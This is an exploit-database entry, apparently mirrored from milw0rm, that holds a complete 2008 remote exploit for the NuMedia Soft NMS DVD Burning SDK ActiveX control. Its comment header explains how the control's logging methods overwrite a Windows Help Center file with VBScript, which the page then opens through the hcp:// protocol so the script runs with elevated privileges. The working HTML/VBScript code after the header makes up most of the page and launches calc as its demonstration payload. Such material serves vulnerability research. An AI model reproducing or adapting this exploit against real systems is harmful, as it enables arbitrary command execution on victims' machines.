NuMedia Soft Nms DVD Burning SDK - ActiveX 'NMSDVDX.dll' Command Execution

🗓️ 19 Sep 2008 00:00:00Reported by Nine:Situations:GroupType

NuMedia Soft NMS DVD Burning SDK ActiveX Command Executio

<!--
5.06 19/09/2008 -----------------------------------------------------------

-- NuMedia Soft NMS DVD Burning SDK Activex (NMSDVDX.dll) remote exploit --
by Nine:Situations:Group::bruiser

software site: http://www.nugroovz.com/
our site: http://retrogod.altervista.org/

affected software: CDBurnerXP 4.2.1.976, ??
tested against IE6

settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data  
IPersist Safe:  Safe for untrusted: caller,data  

mitigation: an "unlicensed software" box appears
however, if the user close it or click "OK", the code will run normally

explaination: "EnableLog" method can be used to overwrite a specified file,
"LogMessage" one to write new lines on it. 
Trough the Help and Support Center and the pluggable "hcp://" protocol you 
can launch your file. Important to note: the Help Center will host the page 
with elevated privileges, allowing the page to script arbitrary controls 
with no prompts presented to the user.
This was suggested by rgod (see hj forum) as a way to immediately execute
the shell
---------------------------------------------------------------------------

-->
<html>
<title> :( </title>
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='DVDEngineX' />
</object>

<script language='vbscript'>
    
    DVDEngineX.Initialize True
    
    sLogFileName="C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\msinfo.htm"
    bCreateNew=True
    DVDEngineX.EnableLog sLogFileName ,bCreateNew 
    
    nl=unescape("%0d%0a")
    'my garbage ...
    sMsg="<HTML>" & _
         "<SCRIPT LANGUAGE=VBScript>" & nl & _
         "Dim WshShell, oExec" & nl & _
         "Set WshShell = CreateObject(""WScript.Shell"")" & nl & _
         "Set oExec = WshShell.Exec(""calc"")" & nl & _ 
         "Do While oExec.Status = 0" & nl & _
         "WScript.Sleep 100" & nl & _
         "Loop" & nl & _
         "WScript.Echo oExec.Status" & nl & _
         "<" & Chr(47) & "SCRIPT>" & nl & _
         "<" & Chr(47) & "HTML>" 
    DVDEngineX.LogMessage sMsg 
    
    window.location = "hcp://system/sysinfo/msinfo.htm"

</script>
</html>

# milw0rm.com [2008-09-19]

19 Sep 2008 00:00Current

7.4High risk

Vulners AI Score7.4

NuMedia Soft Nms DVD Burning SDK - ActiveX &#039;NMSDVDX.dll&#039; Command Execution

NuMedia Soft Nms DVD Burning SDK - ActiveX 'NMSDVDX.dll' Command Execution